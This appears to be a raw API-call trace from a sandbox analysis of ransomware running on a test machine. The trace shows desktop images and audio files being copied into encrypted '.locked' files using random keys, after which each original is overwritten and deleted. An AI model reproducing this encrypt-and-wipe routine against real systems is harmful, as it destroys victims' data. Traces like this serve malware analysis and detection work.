	[0070.793] SetEvent (hEvent=0xb4) returned 1
	[0070.794] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.794] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.794] SetEvent (hEvent=0xb4) returned 1
	[0070.794] SetEvent (hEvent=0x80) returned 1
	[0070.794] SetEvent (hEvent=0x78) returned 1
	[0070.794] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.795] SetEvent (hEvent=0x78) returned 1
	[0070.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\x5z-b33wQMuCpUod67F.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\x5z-b33wqmucpuod67f.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.795] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0070.796] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.811] CloseHandle (hObject=0xc0) returned 1
	[0070.820] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\x5z-b33wQMuCpUod67F.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\x5z-b33wqmucpuod67f.bmp")) returned 1
	[0070.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qQwIdGbeg_Z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qqwidgbeg_z.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x524c60e0, ftCreationTime.dwHighDateTime=0x1d4ce80, ftLastAccessTime.dwLowDateTime=0x3b4bc9d0, ftLastAccessTime.dwHighDateTime=0x1d4c97b, ftLastWriteTime.dwLowDateTime=0x3b4bc9d0, ftLastWriteTime.dwHighDateTime=0x1d4c97b, nFileSizeHigh=0x0, nFileSizeLow=0x11f3a)) returned 1
	[0070.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qQwIdGbeg_Z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qqwidgbeg_z.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.833] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0070.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qQwIdGbeg_Z.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qqwidgbeg_z.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.834] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0070.834] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0070.834] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0070.834] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0070.835] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0070.837] SetEvent (hEvent=0x80) returned 1
	[0070.837] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x11f3a, lpOverlapped=0x0) returned 1
	[0070.839] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x11f3a, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x11f3a, lpOverlapped=0x0) returned 1
	[0070.840] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0070.840] CloseHandle (hObject=0xc4) returned 1
	[0070.851] CloseHandle (hObject=0xc0) returned 1
	[0070.851] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.852] SetEvent (hEvent=0x80) returned 1
	[0070.852] SetEvent (hEvent=0x78) returned 1
	[0070.852] SetEvent (hEvent=0xb4) returned 1
	[0070.852] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.852] SetEvent (hEvent=0xa8) returned 1
	[0070.852] SetEvent (hEvent=0xb4) returned 1
	[0070.853] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3a, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3a) returned 1
	[0070.854] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qQwIdGbeg_Z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qqwidgbeg_z.png")) returned 1
	[0070.876] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.876] SetEvent (hEvent=0xa8) returned 1
	[0070.876] SetEvent (hEvent=0x78) returned 1
	[0070.881] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.881] SetEvent (hEvent=0x78) returned 1
	[0070.881] SetEvent (hEvent=0xb4) returned 1
	[0070.881] SetEvent (hEvent=0x80) returned 1
	[0070.882] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.882] SetEvent (hEvent=0x80) returned 1
	[0070.884] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.884] SetEvent (hEvent=0x80) returned 1
	[0070.884] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.884] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.885] SetEvent (hEvent=0x80) returned 1
	[0070.885] SetEvent (hEvent=0xb4) returned 1
	[0070.885] SetEvent (hEvent=0x78) returned 1
	[0070.885] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.885] SetEvent (hEvent=0x78) returned 1
	[0070.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qQwIdGbeg_Z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qqwidgbeg_z.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.886] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0070.887] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.906] CloseHandle (hObject=0xc0) returned 1
	[0070.915] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qQwIdGbeg_Z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qqwidgbeg_z.png")) returned 1
	[0070.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1RVfRWHwmjTGo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1rvfrwhwmjtgo.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd278520, ftCreationTime.dwHighDateTime=0x1d4d04d, ftLastAccessTime.dwLowDateTime=0x5b292e30, ftLastAccessTime.dwHighDateTime=0x1d4cecd, ftLastWriteTime.dwLowDateTime=0x5b292e30, ftLastWriteTime.dwHighDateTime=0x1d4cecd, nFileSizeHigh=0x0, nFileSizeLow=0x15d8e)) returned 1
	[0070.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1RVfRWHwmjTGo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1rvfrwhwmjtgo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.925] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0070.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1RVfRWHwmjTGo.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1rvfrwhwmjtgo.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.926] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0070.926] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0070.926] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0070.926] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0070.927] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0070.929] SetEvent (hEvent=0xb4) returned 1
	[0070.929] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x15d8e, lpOverlapped=0x0) returned 1
	[0070.931] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x15d8e, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x15d8e, lpOverlapped=0x0) returned 1
	[0070.932] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0070.932] CloseHandle (hObject=0xc4) returned 1
	[0070.934] CloseHandle (hObject=0xc0) returned 1
	[0070.934] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.935] SetEvent (hEvent=0xb4) returned 1
	[0070.935] SetEvent (hEvent=0x78) returned 1
	[0070.935] SetEvent (hEvent=0x80) returned 1
	[0070.935] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.062] SetEvent (hEvent=0xa8) returned 1
	[0071.062] SetEvent (hEvent=0x80) returned 1
	[0071.062] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3d) returned 1
	[0071.223] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1RVfRWHwmjTGo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1rvfrwhwmjtgo.png")) returned 1
	[0071.241] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0071.281] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.281] SetEvent (hEvent=0xa8) returned 1
	[0071.281] SetEvent (hEvent=0x78) returned 1
	[0071.285] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.286] SetEvent (hEvent=0x78) returned 1
	[0071.286] SetEvent (hEvent=0x80) returned 1
	[0071.286] SetEvent (hEvent=0xb4) returned 1
	[0071.286] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.286] SetEvent (hEvent=0xb4) returned 1
	[0071.288] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.288] SetEvent (hEvent=0xb4) returned 1
	[0071.289] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.289] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.289] SetEvent (hEvent=0xb4) returned 1
	[0071.289] SetEvent (hEvent=0x80) returned 1
	[0071.289] SetEvent (hEvent=0x78) returned 1
	[0071.289] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.289] SetEvent (hEvent=0x78) returned 1
	[0071.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1RVfRWHwmjTGo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1rvfrwhwmjtgo.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.291] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0071.291] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0071.319] CloseHandle (hObject=0xc0) returned 1
	[0071.327] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1RVfRWHwmjTGo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1rvfrwhwmjtgo.png")) returned 1
	[0071.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tFeuNNoFgT3OFYmqmD4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tfeunnofgt3ofymqmd4.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdd9600, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x9a594f30, ftLastAccessTime.dwHighDateTime=0x1d4d347, ftLastWriteTime.dwLowDateTime=0x9a594f30, ftLastWriteTime.dwHighDateTime=0x1d4d347, nFileSizeHigh=0x0, nFileSizeLow=0x64e0)) returned 1
	[0071.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tFeuNNoFgT3OFYmqmD4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tfeunnofgt3ofymqmd4.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.337] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tFeuNNoFgT3OFYmqmD4.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tfeunnofgt3ofymqmd4.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0071.338] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.338] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0071.338] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0071.338] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0071.339] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0071.341] SetEvent (hEvent=0x80) returned 1
	[0071.341] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x64e0, lpOverlapped=0x0) returned 1
	[0071.342] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x64e0, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x64e0, lpOverlapped=0x0) returned 1
	[0071.343] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0071.343] CloseHandle (hObject=0xc4) returned 1
	[0071.346] CloseHandle (hObject=0xc0) returned 1
	[0071.347] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.347] SetEvent (hEvent=0x80) returned 1
	[0071.347] SetEvent (hEvent=0x78) returned 1
	[0071.347] SetEvent (hEvent=0xb4) returned 1
	[0071.347] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.347] SetEvent (hEvent=0xb4) returned 1
	[0071.348] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x42) returned 1
	[0071.353] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tFeuNNoFgT3OFYmqmD4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tfeunnofgt3ofymqmd4.wav")) returned 1
	[0071.371] SetEvent (hEvent=0x78) returned 1
	[0071.376] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.376] SetEvent (hEvent=0x78) returned 1
	[0071.376] SetEvent (hEvent=0xb4) returned 1
	[0071.376] SetEvent (hEvent=0x80) returned 1
	[0071.376] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.377] SetEvent (hEvent=0xa8) returned 1
	[0071.377] SetEvent (hEvent=0x80) returned 1
	[0071.379] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.379] SetEvent (hEvent=0x80) returned 1
	[0071.380] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.380] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.380] SetEvent (hEvent=0x80) returned 1
	[0071.380] SetEvent (hEvent=0xb4) returned 1
	[0071.380] SetEvent (hEvent=0x78) returned 1
	[0071.380] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.380] SetEvent (hEvent=0x78) returned 1
	[0071.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tFeuNNoFgT3OFYmqmD4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tfeunnofgt3ofymqmd4.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.381] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0071.382] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0071.398] CloseHandle (hObject=0xc0) returned 1
	[0071.406] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tFeuNNoFgT3OFYmqmD4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tfeunnofgt3ofymqmd4.wav")) returned 1
	[0071.415] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ua-gd3_2Lr0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ua-gd3_2lr0.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82926b40, ftCreationTime.dwHighDateTime=0x1d4d2be, ftLastAccessTime.dwLowDateTime=0x9d3e67e0, ftLastAccessTime.dwHighDateTime=0x1d4cf90, ftLastWriteTime.dwLowDateTime=0x9d3e67e0, ftLastWriteTime.dwHighDateTime=0x1d4cf90, nFileSizeHigh=0x0, nFileSizeLow=0x16166)) returned 1
	[0071.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ua-gd3_2Lr0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ua-gd3_2lr0.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.415] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ua-gd3_2Lr0.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ua-gd3_2lr0.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0071.416] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.417] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0071.417] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0071.417] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0071.417] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0071.419] SetEvent (hEvent=0xb4) returned 1
	[0071.419] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x16166, lpOverlapped=0x0) returned 1
	[0071.421] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x16166, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x16166, lpOverlapped=0x0) returned 1
	[0071.422] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0071.423] CloseHandle (hObject=0xc4) returned 1
	[0071.427] CloseHandle (hObject=0xc0) returned 1
	[0071.427] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.427] SetEvent (hEvent=0xb4) returned 1
	[0071.427] SetEvent (hEvent=0x78) returned 1
	[0071.427] SetEvent (hEvent=0x80) returned 1
	[0071.428] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.428] SetEvent (hEvent=0xa8) returned 1
	[0071.428] SetEvent (hEvent=0x80) returned 1
	[0071.428] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3a, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3a) returned 1
	[0071.430] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ua-gd3_2Lr0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ua-gd3_2lr0.png")) returned 1
	[0071.449] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.450] SetEvent (hEvent=0xa8) returned 1
	[0071.450] SetEvent (hEvent=0x78) returned 1
	[0071.456] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.457] SetEvent (hEvent=0x78) returned 1
	[0071.457] SetEvent (hEvent=0x80) returned 1
	[0071.457] SetEvent (hEvent=0xb4) returned 1
	[0071.457] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.457] SetEvent (hEvent=0xb4) returned 1
	[0071.460] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.460] SetEvent (hEvent=0xb4) returned 1
	[0071.460] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.461] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.461] SetEvent (hEvent=0xb4) returned 1
	[0071.461] SetEvent (hEvent=0x80) returned 1
	[0071.461] SetEvent (hEvent=0x78) returned 1
	[0071.461] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.462] SetEvent (hEvent=0xa8) returned 1
	[0071.462] SetEvent (hEvent=0x78) returned 1
